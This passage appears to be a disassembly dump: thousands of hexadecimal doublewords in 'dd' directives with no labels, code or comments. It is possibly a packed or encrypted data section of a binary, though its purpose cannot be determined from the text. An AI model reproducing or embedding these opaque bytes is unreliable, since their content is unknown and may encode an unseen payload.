0D8607BB8h, 0D04F06Ah dd 0D2D1EBF4h, 7C92C109h, 74B7FFh, 5A954A5Bh, 2E28A630h dd 1E95B45Eh, 0A06DBDB0h, 0D1CC03C2h, 0BC100194h, 0C5811131h dd 0B7C7E45Bh, 692373Eh, 0BE069FB6h, 97450029h, 0A9D328BAh dd 0D425FA83h, 5A707848h, 1210B215h, 0AC613279h, 162B3F28h dd 804CA9C4h, 257248B0h, 0B6DB010Ah, 235E55Ah, 5C3B7E7Bh dd 443213Dh, 85F795FEh, 76ACB8ACh, 0D0A4EB4Ah, 1949121Dh dd 23A43A6Eh, 306C03AFh, 0E0B6BA76h, 625722h, 0E71CE0A1h dd 0AE788472h, 65639D00h, 0A5AD06Bh, 40160173h, 0CC7FD6A0h dd 251C7C77h, 11FC6569h, 81E412ACh, 6B4F0CF3h, 7F640114h dd 0B05835FBh, 6A83708Ch, 0B4022521h, 9C5149Dh, 477CDC99h dd 0D08E004Eh, 0F907240Fh, 0A7A2E8AEh, 0CF1FEB97h, 0D69B4041h dd 4A36F480h, 6B60CD63h, 7D670C04h, 5A44AC12h, 6C8820A2h dd 467424A4h, 0B3590084h, 4AB7D7D8h, 95997733h, 3946D098h dd 0E8EAE92Ah, 12245D16h, 0DB184482h, 0B4C870ACh, 45B7A012h dd 28B1F805h, 0FE104EFFh, 0F4A14AB0h, 0E04CB62Ah, 0A473DEh dd 6430F922h, 0B65631AFh, 0C4600595h, 44013ABh, 0AD63B5A8h dd 7E6010E4h, 0C85CCA93h, 0C314C07Ah, 90EAC5E7h, 654AF0B2h dd 167D20A3h, 0ADB3F301h, 0DCE6D764h, 96B7AEE0h, 0D771C310h dd 0FC416B0Bh, 467C50D4h, 92451D84h, 0B8DE4641h, 3830C911h dd 0BF38E637h, 500150B7h, 6BD554D6h, 3CE0E330h, 10801839h dd 9DA13FC0h, 0AD38BD68h, 79C48F69h, 0F7C9E348h, 9FCFE856h dd 0E48C9519h, 5A093FD0h, 9865D2FAh, 0F58CBB4h, 67F93DBFh dd 779A8221h, 8F61C2AEh, 0C4307F78h, 4FEB948Fh, 0FE84D4F9h dd 4569020h, 450D6B9h, 472C22Ch, 4ADEAA5h, 0E04CA64Bh dd 79E78DC4h, 9A690B86h, 285666A5h, 60086F25h, 8BD4252Bh dd 0F09C6F00h, 41E981C9h, 491A09B9h, 0DC5B4B28h, 25945125h dd 0A4911017h, 42062D80h, 343DB414h, 894CB94Dh, 0F81322A5h dd 3AE74E8Ch, 0D023DCh, 12A969B0h, 0C01268F0h, 7C903879h dd 0E97701CBh, 8378DC2Bh, 0C0C06BB5h, 125A046Eh, 0E1FF8C60h dd 0A234330Ch, 0B6DC30A3h, 78F1EF02h, 0E96E57BEh, 0F838BF0Ch dd 28657B80h, 1301CCD6h, 0D3F9219Fh, 2E444Ch, 763FA01Ch dd 38C162CEh, 29CD09C0h, 84C48F2Bh, 6E376ED2h, 0B5802A4Bh dd 0C2796894h, 8DD79500h, 7A16036h, 4699C0B1h, 30C69289h dd 93B4B900h, 529BBA36h, 0B7AA1537h, 41BC8848h, 5EAA4804h dd 908C3477h, 81E32496h, 62B929Ch, 39BCFBE4h, 9712F498h dd 0B48828BEh, 809E2686h, 279C008Bh, 1A1D6B8Eh, 14B77400h dd 981605Bh, 0C8F50E22h, 7324F7FFh, 0D2C8BC55h, 86F2A0F2h dd 1EB6430h, 503B727Dh, 24BFC5E5h, 282C1BFCh, 0B96D60F3h dd 0DE6C886Fh, 7D343901h, 0F23FBCD6h, 32948A2Ah, 0FF57698Ah dd 0AD2EC8A0h, 65004E22h, 3BB8D4D0h, 9E8CEBh, 3CBBCDCFh dd 7237BA61h, 0DB91A917h, 41F71488h, 943B2A53h, 0A828E9A5h dd 7F052F1Ah, 1070D4F3h, 7D790BC2h, 0D48ECBFEh, 1278B8B5h dd 0AC63459Bh, 2124A274h, 0EAD0751Dh, 0A451B05Ch, 5882C1B8h dd 0D44C9B49h, 7369E854h, 578873BCh, 1F00FC02h, 0C334EBCFh dd 16E00C1Dh, 0A941A54Ah, 0D87BADC0h, 46001B98h, 80E1E43Bh dd 253C7F53h, 0F84E8F92h, 0A25E70Ch, 0F0F11878h, 3BBB2D7Fh dd 0B67834DBh, 59C201B0h, 561786E0h, 3968D429h, 2973F030h dd 1ED3FFC9h, 32AA87Eh, 27903718h, 0A46AD900h, 6EF39B41h dd 55D400B3h, 63DF99DDh, 0F54BCBF6h, 7F624082h, 9402681Ah dd 39068E52h, 4E3F1550h, 0A74AE084h, 0F4B64F40h, 0E280F8A2h dd 0A577FFC3h, 0A20F0216h, 0AE31DC80h, 2530941Ah, 0B2278446h dd 104CD9BAh, 65CE82F2h, 54AD42E2h, 38746974h, 0F52100DCh dd 84341B8h, 70286D64h, 1D5C6CFFh, 50552D14h, 18E597ECh dd 0F06063E4h, 6B25305Eh, 70D8FB8Fh, 7D059DA8h, 0B5FBF618h dd 4493ACA0h, 0CDA07B2Dh, 8800CAD9h, 79CD8430h, 0FABE3C5h dd 58090B08h, 1B6039E2h, 17EBD056h, 81AA1140h, 0A2C3CEE7h dd 5A34DD6Ah, 127CC0A8h, 90424364h, 0CF90072Ah, 32E5EA25h dd 465586FEh, 801620ACh, 0C29D54ACh, 243A7D8Ch, 1550107Bh dd 0F9124F2h, 70830FACh, 0D8AA0090h, 0C3AFC4BEh, 5E30F4Dh dd 96E14550h, 2BAE03FCh, 10095435h, 29C0161h, 6F3FC695h dd 0F86D1254h, 4D8E10E2h dd 80903B90h, 3EF7B980h, 0BF5BF97h, 1703490Bh, 9CD37CABh dd 7DFE4E70h, 0D3370BD4h, 70565BEEh, 805835EBh, 1B8141BFh dd 98023908h, 0F3D7A7A8h, 25F85667h, 6F45C7Ch, 56AB110Fh dd 1D7BC167h, 17F63201h, 0E5D107E1h, 3E1869E1h, 4A55764Ch dd 0A51620CAh, 0A2B4A847h, 0BFB0204Ah, 41825AE2h, 39A7C194h dd 2993C0F9h, 0FBA010E7h, 2012CCDAh, 28E24C3Eh, 5B2590C0h dd 4D958309h, 44D3C0B4h, 4700FC2Ah, 0DB72A207h, 4E3FEBDCh dd 0C5289A1Eh, 20AA35C9h, 0C279CFA4h, 3C04FB58h, 4E184081h dd 34CA2A8h, 9BBEBAF0h, 752AE85Ah, 77B10B96h, 48582745h dd 2211CB08h, 0CDB88217h, 0F0D869DAh, 60204D97h, 53B22E84h dd 0A7542002h, 550987EAh, 4D40584Fh, 0F8F8C737h, 68811CE4h dd 27AE6EC9h, 0B7BD7CF8h, 6C6A00C8h, 2735EBF4h, 36BC7CA0h dd 0EF186F00h, 0E548962Ch, 0EDD0A29Fh, 0FDCEB4h, 8FF33221h dd 50099FFFh, 0D6A491AEh, 0EE5D128Ch, 3A00287Ah, 0E184F87Eh dd 4900EC68h, 0F2D61291h, 4C03FBF1h, 408180A4h, 90A3E909h dd 5C625670h, 0A3779C57h, 0A233F378h, 40B7DD6Fh, 759EC381h dd 0E013503h, 0EBF6005Bh, 0F2E4F41h, 620B4E20h, 467E8854h dd 0BDA505A3h, 0D88092F7h, 0CB4F3EA6h, 5002FF50h, 46556770h dd 0B3720710h, 63CCF7A5h, 93D71D6Bh, 3BE0258Bh, 0DF00D789h dd 3D76EEC7h, 0BAAF5322h, 10469574h, 0C9703Ch, 0E22C50BBh dd 2507A8CCh, 0C8653937h, 250BA1B9h, 3BD4947Eh, 21874532h dd 0A292C84Ah, 6055D4BAh, 16D0BE30h, 80A1FB6Dh, 0CA7746F4h dd 4AF45040h, 2BA8CDD7h, 33E090A6h, 8E04371Fh, 0AB23F1C3h dd 0E6F40413h, 0B9680189h, 0AC223279h, 55CA4101h, 3C8B3F30h dd 30EEBDF4h, 1A12FCDFh, 61AA41A5h, 7DE57030h, 0A31F1384h dd 0F6892497h, 534ADC04h, 0A50EB4A3h, 41927322h, 1C383B8h dd 38022F27h, 0F05BCD09h, 0F14D2EFCh, 9361118h, 527FAC83h dd 0ECAEB50Ch, 106601BEh, 8E738308h, 0E071F7A9h, 12337FBDh dd 0D785028Dh, 0FE701920h, 7CA6B45Eh, 7A8A08h, 90398F4Bh dd 8001B2DEh, 0B39FA32Eh, 718174BDh, 0EB105F24h, 0B4122BC2h dd 3AA55404h, 5B4A212h, 551321C3h, 1EF9DC41h, 812A08F4h dd 61C44584h, 0A3C884AEh, 7495C71Ah, 960588FCh, 0FFDE51CBh dd 410B452h, 94007354h, 7988B2ADh, 4B802FF4h, 188F26Eh dd 823F1FCCh, 6E4D31Eh, 505D006Ah, 59F4489Ah, 0F7136E7Bh dd 0C0C8C405h, 5894023Bh, 783225E7h, 5F5A18DAh, 0E3FF5C02h dd 0AD4640B8h, 712F04BDh, 93EE5630h, 0F397ECC4h, 20F03CBBh dd 49B5B6C7h, 0E8166C60h, 83F4FB54h, 66C8D454h, 0D63DE70Ch dd 0F6F27187h, 50E08256h, 0B95F1FECh, 0B39E7030h, 0F46944A6h dd 920CFB58h, 4000ECA2h, 2B64E4D6h, 0F5129E1Bh, 0A0A8CE4Bh dd 20079D22h, 0E73C9125h, 6EDA2D11h, 7E80188Ch, 43003D59h dd 20294B3Bh, 65C0AAh, 0F07D2A3Ch, 30BDFC79h, 964B4F79h dd 0F4158080h, 0A3915A29h, 9A73108Ch, 8C6BF8h, 945445D6h dd 4D6CE133h, 0B9368C02h, 0D265A657h, 481C9828h, 0CA108446h dd 673087Bh, 19EE0071h, 517D5448h, 420AD4A0h, 0B9841F88h dd 6F2CD08Ch, 39E21786h, 0E7B420E8h, 796547CDh, 4CC1B478h dd 5424C409h, 5EACBCF8h, 0CE0E7846h, 0BC97DDD8h, 8228814Ch dd 0F570B72Ah, 236B0255h, 56BCD3CBh, 9E80D07Eh, 0D1F1E47Dh dd 637328h, 0A2A13A76h, 62E5DB09h, 0C5277590h, 20B73Ch dd 208FD9E5h, 0D61786E7h, 8CFC5B2Fh, 0BCACBCF5h, 52138C60h dd 85CF30Bh, 581CF3EDh, 0B0991C9h, 54CAF55Bh, 0B7F4F70h dd 98FEE004h, 911095EBh, 313F81AFh, 176A2EBEh, 587CF724h dd 8CA7B810h, 129D0E1Ch, 0DB938F81h, 0F22FE5E3h, 87007344h dd 5282F266h, 7C6499h, 9BA092E7h, 5B393276h, 850475F4h dd 0B853F2A3h, 0AD94FC13h, 89709B3Eh, 108FC83h, 0EF22BDA4h dd 58222BB4h, 4F5FF6h, 0B8B0F260h, 1CA351B3h, 803C092Fh dd 305B45Ah, 0CB627288h, 48F897C0h, 0C56F4A33h, 0ECC8F8ECh dd 0FB0F8C78h, 0B34D610h, 0FB4C8B18h, 0D0CD25BCh, 9A0B640h dd 2DDCB099h, 0E4515497h, 243CA8CFh, 5ABE0844h, 0DBF5C902h dd 9414557Dh, 25BC0121h, 6191C895h, 5772980h, 0C34BF6FBh dd 274F80E9h, 0C89CA0E8h, 322D58A7h, 3A0A018Fh, 282EB815h dd 89D38B08h, 9EB87CF9h, 52E69000h, 331AB02Eh, 275175D8h dd 24D8E257h, 0B34C6BFh, 918391Bh, 9040B880h, 6D9D9234h dd 0E2F9C490h, 0C02500F0h, 8562B1C4h, 4D2D017Ch, 646B9A3Bh dd 0D3B442F0h, 732D1056h, 793B708Ch, 49883EEEh, 5FBD17E6h dd 0D6D4F866h, 96B8E4F9h, 0C8350E12h, 6980A4F8h, 52D062C5h dd 0F7868E00h, 0E87FEEB0h, 0E9CD097Dh, 3D77A5ABh, 0C22E0E7Ch dd 8CF73985h, 3A20356Ch, 9FCFFA7Fh, 0CC009844h, 63F97D84h dd 6A3F1h, 52DE461h, 9609264Fh, 0F918CD2Dh, 69688030h dd 3F319FCEh, 902F8B4Ah, 0FB251523h, 0FFC880F8h, 0E5059297h dd 4F95C558h, 0EDE49810h, 1E2430DEh, 0EF47A507h, 0E7002636h dd 0B07493BCh, 0DF812F20h, 2EB1E8E0h, 0A5065902h, 7FB82B02h dd 0DCFE08BAh, 410B00DCh, 8A365832h, 0CD12A124h, 58ADB9C4h dd 2FA82CD0h, 46256F43h, 7502E84Eh, 0A631A390h, 56C048F2h dd 3BB94B37h, 6B235Ch, 1D47F637h, 96016ECEh, 3F2A5B2Ch dd 4C2E80BEh, 90317AC0h, 0C7A73000h, 0E09D1FAEh, 0AC9B124Ah dd 409CE3A2h, 5540FFACh, 39DF06h, 1D44F29h, 2E12E47Ah dd 4BFA97FEh, 2454DD20h, 3AD4467Ch, 0E01E0035h, 60EE5ACBh dd 0EAA50908h, 0F4485F8Bh, 0A1EFD7Bh, 6427A34Eh, 662900ECh dd 71DE4B95h, 6A2524F5h, 7E3891ADh, 72ACF4h, 961E0A2Dh dd 267CFE6Eh, 8C883B00h, 8DDA4197h, 0B00622C4h, 1535621Eh dd 0A15D8743h, 0D190D86Dh, 0C167163Fh, 0D250ADBBh, 1CA83CFDh dd 0D257FB16h, 4F0644ACh, 506AA3CCh, 6882AE5Bh, 2ABCE068h dd 0F835BF05h, 3F7C0C80h, 2540960h, 7077F86Fh, 989307BEh dd 6AE1B5F0h, 0C905447Dh, 0C0E27310h, 0D95E8030h, 9B750099h dd 47ABE157h, 1C9EA277h, 0BCE7C412h, 80BC9A5Fh, 22F689C3h dd 0EB1A2733h, 66037878h, 77206986h, 7C75D8BBh, 28CFE239h dd 4BA0D88Ah, 0C198F8B2h, 0BE2BEAA3h, 6012AA05h, 0E0B030A7h dd 121641A0h, 54308498h, 76295B1h, 0B8B7B3AEh, 6B280051h dd 21C06E57h, 0A8937713h, 0D1240096h, 0B4467D86h, 6C03CE41h dd 0B3AF3242h, 388900BDh, 1128A9C4h, 8B2525EEh, 0A48C59E8h dd 22F90404h, 0F280B219h, 0B6E1302Eh, 4C8985Ch, 0FBCA09E8h dd 3A9429ABh, 8223B02Fh, 0C13D6E00h, 58636942h, 0D42CDE94h dd 5002673Ch, 0B7296493h, 5F364000h, 0F8C1FB9Ah, 4BE774A7h dd 22F08A7Ch, 0CBF40B81h, 84ABDC89h, 397CF0D2h, 79238BCh dd 67144820h, 0DA5F3A94h, 6821D209h, 0D2B03755h, 2E78C455h dd 2F32344Fh, 21913C9Dh, 0E3AD5F80h, 561231E9h, 80067A2h dd 774655BCh, 808BB5AAh, 1BEA30B8h, 0B4B68CBAh, 0A00A01DCh dd 55C4B36Bh, 0A86D93h, 87280E46h, 3C447181h, 102730Bh dd 0A735DA54h, 6E7E80C0h, 0CA2AC481h, 0BEDC22BCh, 1A00DC5Ch dd 1DE16431h, 5F3A563Fh, 1B48DC5Fh, 0A722A33Dh, 0C1F0814Ch dd 0C13B4AE8h, 6366F8h, 0E9C679CFh, 2E82D1B8h, 7F76E68Dh dd 9ECA7CC3h, 0C3C0A35Fh, 805924AFh, 1D671168h, 3C421A9Eh dd 0E21B3642h, 0C018D5C0h dd 682E9718h, 923B7061h, 0A8ACC08Bh, 146AAF93h, 0F39EE002h dd 167FDE49h, 7B9DE8h, 39D45359h, 824709E4h, 0BC560735h dd 0B2491D60h, 28B097F1h, 3141C9CBh, 0BDAEBEDCh, 0C3F64C00h dd 49B5DFD9h, 0C1172BB8h, 3AC781EBh, 5C237C9Dh, 903383A2h dd 233700Fh, 0D72921C7h, 80556614h, 7B5E2490h, 2E7FEFAh dd 0CBF5D868h, 22FFD38Dh, 0A9C1312Ch, 38357D94h, 543A3E80h dd 3EBB3F9h, 4B7FB028h, 0D6D8F3FFh, 0A3135876h, 50BCF6E9h dd 5498E88Bh, 8100B65Ch, 0EE5765C1h, 1F6C55D3h, 413178A4h dd 0F34D2DCBh, 5398A562h, 408370C0h, 29FF8C00h, 0E5756254h dd 9793F4C5h, 99FFC03Ah, 803A68C4h, 0A994CCECh, 2CD06AEFh dd 5034F41Eh, 5D42C46Eh, 53BCF85Fh, 0B8C21000h, 0A1E279D3h dd 92CFAAAh, 940DBFACh, 41891CD9h, 0A7C47350h, 7D4FC7Eh dd 3A81E02Bh, 0D80BD0C1h, 44BF1D4Fh, 0FA120008h, 52E1E2Ah dd 0BD09499Ah, 81C0E93Eh, 0C690F748h, 1FBF6908h, 80AE1104h dd 0DCE291C0h, 5ADD1F1Eh, 923FCAB8h, 0BC4DADA4h, 96DC98C0h dd 51930331h, 3635E7E4h, 26EC29C5h, 306F1E8h, 4FEA8430h dd 0C818CE4Fh, 2307C079h, 0AF13B877h, 0C02863CAh, 466B58Ch dd 465E7C94h, 9B080117h, 42B2D781h, 3D40E0ECh, 70D8E27Ch dd 5B310510h, 0A49BD808h, 272511E8h, 0CB05018h, 0A80701C3h dd 4AF69F88h, 3F4A6574h, 0FED2D0A8h, 803FC6Bh, 0A1C1E803h dd 395BA7E0h, 0EC41F24Eh, 7637CC47h, 4812AB04h, 2546EFFh dd 0F4112E97h, 0D0455529h, 15F3F682h, 5D52223Ah, 7BE9C300h dd 9EF0C9B7h, 84060F6h, 0A4DEF3h, 0D1CCFB49h, 7AB7C84Fh dd 0B9FA3B28h, 1AA930C0h, 120FBE75h, 0E62EA519h, 1D0CE044h dd 59C6008Bh, 22A54ED8h, 6CB7AE33h, 2AA09E8h, 60E9873Dh dd 560451BBh, 1C003EECh, 23220710h, 0F505146Dh, 1D79C457h dd 0C0E08046h, 0E33DD076h, 0FC0003DDh, 0EE9E9266h, 0E24633h dd 30F047AAh, 323E978h, 9FCFC900h, 6B602DE3h, 0C31300C0h dd 2F64096Ch, 0D0061F7h, 9A29FD4Dh, 0F4E2558h, 0A7EBC9FEh dd 951F32h, 1178FC4h, 5558D76Ch, 0ECD90390h, 0D054B3C7h dd 0BE5F98h, 458DC890h, 15C33572h, 3D78D9FEh, 0C6DF7100h dd 0C822E0E5h, 7C120BB3h, 1500C519h, 6E02EC0Ah, 71ABBA00h dd 0E2B4599Ah, 0E0F300AEh, 8E611B0Bh, 930368B8h, 677EA77Ah dd 113C8810h, 94C30CF9h, 9968172Fh, 4796A200h, 6C406D44h dd 0A81454E3h, 0AA60001Dh, 16BDA0ADh, 0FC001B07h, 8C0CC10Eh dd 7D8AC5h, 0EDEC6DEAh, 0F3D25617h, 0C31E231Fh, 44C0125Fh dd 982A4171h, 5258C13Ch, 30190DFCh, 7B523022h, 72AD00E0h dd 0DF1674C6h, 282300E4h, 0C00BFD2Ch, 0F2001535h, 48C3C271h dd 3108C94h, 28E66B32h, 67F893C4h, 8D002CA3h, 1B54B820h dd 1AC4CF7h, 8A6DC189h, 0DC50D424h, 1D00FF2Bh, 6B1933DAh dd 7953A62Fh, 47201DFh, 0D4AB752Ch, 84002AE6h, 39479463h dd 0D372A1h, 1E5FA523h, 0BAFF9B9Dh, 0A7F28200h, 2D276E46h dd 0F62900C8h, 0A64971F7h, 0F90058B5h, 929FB083h, 1C7FF41Ah dd 0F0B157h, 93046F5Dh, 0D1122716h, 18006E78h, 0B8F4CF73h dd 70536520h, 1439C0B2h, 450218FDh, 0AC7DE9F8h, 8C94A6E6h dd 8F9500D8h, 0F2AD84F6h, 0C9004B97h, 98BE0F12h, 3BD026F3h dd 18007450h, 6FDBC69Fh, 0B80071FDh, 0DFC5083Ah, 500ACCC2h dd 74FCE0h, 0D1FC2805h, 5FFEDC48h, 1CECA201h, 0DA4EBB26h dd 0E8532ECCh, 1C90FBh, 0A9FCC5E0h, 138BC42Bh, 0D2630D00h dd 0DD1D7AF9h, 46530060h, 89474A62h, 2B18D7CBh, 0DB68F1E5h dd 7BFC01A4h, 0F62B7DDh, 0A2D8BA5Dh, 0D8525360h, 3EC4C807h dd 6CBB83FCh, 22208FA7h, 0F740B5E0h, 52CB5E00h, 681061EAh dd 779D014Ch, 0A589D8D1h, 0BCE4E462h, 0CA1202F6h, 0B007E65h dd 0A0E98054h, 57810ECFh, 4C63252Ch, 0EEC0A708h, 22007DA9h dd 0EA6E609Fh, 603BC63Fh, 7058612Ah, 87D5580h, 0B817B0C4h dd 9F725940h, 63E49899h, 0D62E7F0Eh, 0AC300FCh, 0EFEC1Eh dd 9FD82AD9h, 0C9154167h, 0B8558B00h, 0E2A7BDBBh, 0DEB50053h dd 4DB645FEh, 2200C77Bh, 596B1E71h, 519555Bh, 439492CEh dd 0BD8C8087h, 6A70E9C2h, 0B9B4B70Bh, 0E7E40F95h, 14C7DBA1h dd 0A5B0B301h, 4077199Dh, 0B1D966DFh, 8B038FBDh, 47D0994Ch dd 12204894h, 9775A100h, 56D74F80h, 0ACEA7615h, 3E593FD0h dd 0DCD180A2h, 572EB2Eh, 0E9241DD4h, 54C1406Bh, 1995A177h dd 0A7374800h, 0ECD7E6Dh, 0C3120042h, 0DF67AB9Eh, 4E6050Dh dd 0F97F770Fh, 68138030h, 62FAC5h, 4827AC81h, 6F261DD3h dd 2C6BC000h, 0FDEABC9Ah, 0FE9305CAh, 0B0821306h, 7500C07Ch dd 9741CDC4h, 0A781A91h, 6E774AE3h, 2C0C81D4h, 4021990Dh dd 715D73A0h, 3C188676h, 7D403E03h, 0E42C001Ah, 12F50E29h dd 0FB0001D9h, 49DB1365h, 2DF8589h, 0F19FA33Eh, 0D6809E6Dh dd 4F0EC8F8h, 5F29F900h, 5C49E4A7h, 73190138h, 0B8B5B451h dd 4210805Dh, 839157AEh, 0D4A902EAh, 8A09CF3Bh, 881B8C81h dd 0DF39801Dh, 0AB440C0Ah, 0ECC50092h, 9D35A15Fh, 0F6A112E2h dd 9BB2052h, 85B8FB7Dh, 9231738h, 20150A7Bh, 0E0D63D3Ch dd 4B910041h, 4E9A4AC8h, 0D5002974h, 53A13867h, 1FD1F2Dh dd 65136AFAh, 0C861DA1Ah, 2A0021D7h, 77483DC9h, 3A2BDFh dd 2456B20Dh, 533CA49Dh, 0C837041Eh, 0EBBFA5C0h, 0A3862Bh dd 5E07D960h, 0E3301802h, 9268550Eh, 4E6CE050h, 38FD29E2h dd 3100AFE1h, 0AE4F5BCBh, 124C62DBh, 9346018h, 396099A5h dd 4D097759h, 0AC54D088h, 3E50E580h, 90FA1BB4h, 417B00A8h dd 0AAA86067h, 0B301A101h, 554F6CF7h, 34E43BD2h, 0A2062CD7h dd 2EAA0A0Ah, 750801B0h, 40F8C00Eh, 375A3EF4h, 80838539h dd 0A06B0D88h, 33861FDh, 8B40E029h, 518F9379h, 405559F6h dd 0F184AEB8h, 40CFA03h, 0A8B68564h, 3EAA46ECh, 563C1250h dd 8152EB80h, 1395F626h, 0B1C8CA00h, 5D9EE785h, 0D3D70368h dd 0C4DA4305h, 0F1F461F8h, 0D0A3E78h, 0FF062976h, 0E79D1D00h dd 32C165h, 1C4FA7D0h, 2C1364B7h, 1298A500h, 26CD11E2h dd 14D81747h, 6A340061h, 74191FB7h, 55EE3F0Eh, 60046003h dd 373ADBCh, 0E4BD5887h, 8AA07A70h, 4C0789EBh, 0E82AC0D0h dd 84CC48D0h, 653802D2h, 9BD832ECh, 0ACAB43C0h, 0B679B900h dd 0B2DE8845h, 1EEC01EFh, 0A89B8636h, 0E7A93078h, 0A2D2A00h dd 0CCEEB048h, 0F8DA389Dh, 0D3DF6438h, 75F85400h, 0FA073CC7h dd 1083BAB8h, 8B7C0BEh, 5F02A6h, 61DAF23h, 633ED1D8h, 58D3F614h dd 62797AB1h, 8B0D9000h, 9E32BCDCh, 38AA00C3h, 0F66F8EA4h dd 0FE4B3913h, 0EE17B0EDh, 3A94D01Bh, 0AA1D8AC7h, 0AF1DD731h dd 3FEE9A05h, 82D4101Ch, 7AE8041Ch, 0ECFC145Fh, 110A613Ah dd 10F039h, 0B1BC19ECh, 26B852A3h, 0C3007B74h, 0B2657F23h dd 0DD226Fh, 0FFDFB006h, 0C2769695h, 3A81570Fh, 0EE3D003Fh dd 0F6CA203h, 80B9A7FEh, 3E9800FFh, 9DF8979Ah, 0BA5E86E2h dd 0DF305400h, 7BCFD8Ah, 6B546ADCh, 515220BBh, 490024CCh dd 0A3777D32h, 19AC2C5h, 0D4C343F4h, 9FA56466h, 48826A98h dd 0D23CFBFFh, 7228373Ch, 44F180C8h, 93AC2DCh, 0FDC6004Ch dd 5E563CFCh, 60B50083h, 0BF054321h, 6B016612h, 70D51E54h dd 806FF258h, 988333C4h, 8696B500h, 0A7DED863h, 0FE21011Dh dd 2BD1668Dh dd 0A3F8CCA2h, 28F30F01h, 0D32EF10Bh, 337F4h, 61DC2094h dd 0C6796A29h, 1D2D709h, 0B83ADF39h, 1D483557h, 0FB9652A6h dd 0E4B4440Ah, 9D201E80h, 956F0521h, 39004844h, 152C8BADh dd 784ECEh, 9456D144h, 846E0703h, 4C2FB84Fh, 0ED00D023h dd 558A15Ch, 0CFEA09A7h, 57473Bh, 7A5A1E20h, 0ACF095B9h dd 0C3A06D97h, 0C98028CAh, 0A809E1E5h, 0E876AECFh, 0D0C712ACh dd 54800808h, 0ACBF6D63h, 0C4CBB304h, 1EFB6E56h, 350322F4h dd 0F2EC83FEh, 0E0BE80DFh, 0D4600E1h, 0C9DAA133h, 0B0092177h dd 0F7A86F93h, 27C61085h, 9FFFF0D0h, 98A04BAAh, 0DF4F22A3h dd 34BFF484h, 66C0043Ch, 1C9DEF15h, 0A084A63Eh, 2ED46255h dd 9C3042Bh, 545B39h, 0D80A5943h, 393E7440h, 69807F3Ch dd 39183D58h, 1A3C3420h, 0D93A03BBh, 0D82F601Bh, 42B21FCh dd 0CBEC6798h, 0B83C9325h, 0D2FAEAE9h, 4676245Eh, 2FAB0017h dd 444777DBh, 97027A80h, 0C806E437h, 278AD362h, 38A091C6h dd 490C7ADBh, 474F7100h, 27BFB121h, 5C729D68h, 0FB8B3F25h dd 11C670A4h, 12746E39h, 12BE65F3h, 0C930FCD0h, 628A0C9h dd 0B526B107h, 0CF7D4896h, 84B9134Bh, 681C7ABCh, 43013347h dd 0D77BF048h, 0EED6D892h, 6328C020h, 949E8A3h, 758C8F56h dd 36521C80h, 6D127014h, 740930B8h, 4E5CDEA8h, 427DF867h dd 0E4756899h, 736E0044h, 9BAC55FEh, 7A01F705h, 0F61B2818h dd 0C16BC5CBh, 7EBCB2A4h, 2857344Ah, 2799C200h, 5B637FC1h dd 2E00F11Bh, 2EC87C8Fh, 86B2C9C0h, 563F08AEh, 0C0027F8Ah dd 0DF09EBFEh, 0F4BE0094h, 6ED52156h, 26949080h, 2B5E303h dd 0A6306647h, 147569DEh, 0D610B624h, 1075A600h, 0C35DC5D4h dd 83842D79h, 2C88B497h, 0A515606Fh, 0CD120965h, 60A379CFh dd 0C6ED2B1h, 23AD001Fh, 0DA3E7B11h, 0B605CA79h, 3989FBF6h dd 0E22C44AEh, 1560444h, 2C47F890h, 789EE94Ah, 24642D48h dd 0C2D2B700h, 0A059857Fh, 912D000Dh, 0B9C0ADFh, 0CB4EC167h dd 88EB58A4h, 0EF20F2A3h, 0C5E50949h, 10DF904Bh, 5BA51A5Ch dd 6228F266h, 0DF471E86h, 763128A0h, 10C46BEAh, 0C1EF062Eh dd 6B5C13E0h, 0E901A424h, 78764E31h, 512F3981h, 0A763424Fh dd 100044D9h, 13779FC5h, 4CFBEAA5h, 7E210748h, 11FF6B01h dd 0CDE10FE4h, 5628C26Fh, 1F00E8DAh, 8C57F9EAh, 0EA450632h dd 54870095h, 68F0CB8Ah, 3535C02Eh, 18A03892h, 4E2940BDh dd 0B7F8E873h, 0CB6D69C1h, 0D86C1BE9h, 0F391A909h, 0F42BC56h dd 35E501AAh, 30206556h, 19D3832Ch, 0A26422BBh, 0EA4FB820h dd 25228445h, 79882DEh, 76C3E774h, 0EC504E81h, 0C3F280E0h dd 0B7148817h, 60E2D06Dh, 453861AEh, 0E39640BBh, 4EB4ED49h dd 27161CFCh, 50ECA204h, 47008354h, 0B3C10CC0h, 6032D3ADh dd 0C6DBBE27h, 732719F2h, 40851CFh, 6516D9F5h, 0D6A2C4B6h dd 57DFF498h, 0A41D8500h, 0B30AF068h, 0A2644E49h, 20C85F04h dd 43CA38BCh, 642A9C00h, 4C82F948h, 0B080310Eh, 57BA42A3h dd 61644099h, 0EA5F2EA9h, 4782024Ch, 60773C9Ch, 97C72E2Ch dd 48CA405h, 13ACC3F0h, 0C50020FAh, 8A00200Ch, 5A79F2BFh dd 17FA1C3h, 12C9C687h, 0D5298C03h, 0C45EFCF5h, 4950F995h dd 0FF7C925Dh, 9B00B837h, 0F228249Ch, 0FDCC4BE6h, 6AAAD304h dd 7683A30h, 352C9105h, 0D175CBC1h, 924C0B2Bh, 0CA803459h dd 86E5BED5h, 7D871BA5h, 0EAC408F8h, 1030745Dh, 2FAE3056h dd 0C697342h, 0DF2C3080h, 0B22BB441h, 0A410886Ch, 50B609F0h dd 0B5E414DFh, 4B1FE835h, 10E041D4h, 0E34BAB93h, 0A86E5FA4h dd 0F4FC1F00h, 0E2E9DBADh, 5AD3510Fh, 0A5B36260h, 163CF969h dd 0C64C49C9h, 2FECB9DDh, 0E0DA2B0Dh, 7435C09Dh, 6CAD58A5h dd 0CF5BD098h, 28BEE4C4h, 7D6A65D4h, 0D427F091h, 52569C08h dd 0CE84F24Ch, 0C901F1E9h, 9E2A5163h, 50876F18h, 0D698FE39h dd 768E3213h, 0FB6020BBh, 9D0BD4F6h, 7C2495A7h, 0F4742774h dd 2F0E00DCh, 0F5DE8C53h, 1EF2E797h, 778CE29Fh, 14CAF449h dd 7000B46Fh, 6BC8A0CCh, 3A9F7BDBh, 0D4D8DC80h, 0D0A2464Eh dd 4048BE1Ch, 0AB4D9695h, 2100352Fh, 1EE571EFh, 13758F66h dd 0E19EA3Fh, 0C0E99B20h, 69E47Eh, 41683620h, 0C4E297E9h dd 8F40E074h, 7FEB351h, 5DB59137h, 69BC73C8h, 0E39E790Bh dd 607458F9h, 0CC7FC86Eh, 58C27AA3h, 608667A2h, 8EF9Ah dd 1F206A68h, 79D74B75h, 45A54804h, 0E8E06354h, 1700910h dd 185F807Fh, 27C39058h, 0BCC40584h, 125BF200h, 